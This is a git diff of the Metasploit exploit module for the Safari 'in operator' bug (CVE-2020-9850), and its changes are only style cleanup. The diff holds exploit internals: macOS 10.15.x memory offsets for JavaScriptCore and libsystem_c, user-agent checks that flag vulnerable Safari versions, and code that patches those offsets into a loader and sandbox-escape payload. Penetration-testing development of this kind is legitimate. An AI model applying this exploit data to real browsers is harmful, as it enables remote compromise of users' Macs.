diff --git a/modules/exploits/osx/browser/safari_in_operator_side_effect.rb b/modules/exploits/osx/browser/safari_in_operator_side_effect.rb
index fe19a24e71..a0857b6262 100644
--- a/modules/exploits/osx/browser/safari_in_operator_side_effect.rb
+++ b/modules/exploits/osx/browser/safari_in_operator_side_effect.rb
@@ -414,38 +414,38 @@ class MetasploitModule < Msf::Exploit::Remote
   def offset_table
     {
       'placeholder' => {
-        :jsc_confstr_stub => 0x0FF5370041414141,
-        :jsc_llint_entry_call => 0x0FF5370041414142,
-        :libsystem_c_confstr => 0x0FF5370041414143,
-        :libsystem_c_dlopen => 0x0FF5370041414144,
-        :libsystem_c_dlsym => 0x0FF5370041414145,
+        jsc_confstr_stub: 0x0FF5370041414141,
+        jsc_llint_entry_call: 0x0FF5370041414142,
+        libsystem_c_confstr: 0x0FF5370041414143,
+        libsystem_c_dlopen: 0x0FF5370041414144,
+        libsystem_c_dlsym: 0x0FF5370041414145
       },
       '10.15.3' => {
-        :jsc_confstr_stub => 0xE7D8B4,
-        :jsc_llint_entry_call => 0x361f13,
-        :libsystem_c_confstr => 0x2644,
-        :libsystem_c_dlopen => 0x80430,
-        :libsystem_c_dlsym => 0x80436,
+        jsc_confstr_stub: 0xE7D8B4,
+        jsc_llint_entry_call: 0x361f13,
+        libsystem_c_confstr: 0x2644,
+        libsystem_c_dlopen: 0x80430,
+        libsystem_c_dlsym: 0x80436
       },
       '10.15.4' => {
-        :jsc_confstr_stub => 0xF96446,
-        :jsc_llint_entry_call => 0x380a1d,
-        :libsystem_c_confstr => 0x2be4,
-        :libsystem_c_dlopen => 0x8021e,
-        :libsystem_c_dlsym => 0x80224,
+        jsc_confstr_stub: 0xF96446,
+        jsc_llint_entry_call: 0x380a1d,
+        libsystem_c_confstr: 0x2be4,
+        libsystem_c_dlopen: 0x8021e,
+        libsystem_c_dlsym: 0x80224
       }
     }
   end
 
   def get_offsets(user_agent)
     if user_agent =~ /Intel Mac OS X (.*?)\)/
-      osx_version = $1.gsub("_", ".")
-      if user_agent =~ /Version\/(.*?) /
-        if Gem::Version.new($1) > Gem::Version.new('13.1')
-          print_warning "Safari version #{$1} is not vulnerable"
+      osx_version = Regexp.last_match(1).gsub('_', '.')
+      if user_agent =~ %r{Version/(.*?) }
+        if Gem::Version.new(Regexp.last_match(1)) > Gem::Version.new('13.1')
+          print_warning "Safari version #{Regexp.last_match(1)} is not vulnerable"
           return false
         else
-          print_good "Safari version #{$1} appears to be vulnerable"
+          print_good "Safari version #{Regexp.last_match(1)} appears to be vulnerable"
         end
       end
       mac_osx_version = Gem::Version.new(osx_version)
@@ -459,7 +459,7 @@ class MetasploitModule < Msf::Exploit::Remote
         print_warning "No offsets for version #{mac_osx_version}"
       end
     else
-      print_warning "Unexpected User-Agent"
+      print_warning 'Unexpected User-Agent'
     end
     return false
   end
@@ -490,7 +490,7 @@ class MetasploitModule < Msf::Exploit::Remote
     stage1 = exploit_data 'CVE-2020-9850', 'loader.bin'
     stage2 = exploit_data 'CVE-2020-9850', 'sbx.bin'
 
-    offset_table['placeholder'].each do |k,v|
+    offset_table['placeholder'].each do |k, v|
       placeholder_index = stage1.index([v].pack('Q'))
       stage1[placeholder_index, 8] = [offsets[k]].pack('Q')
     end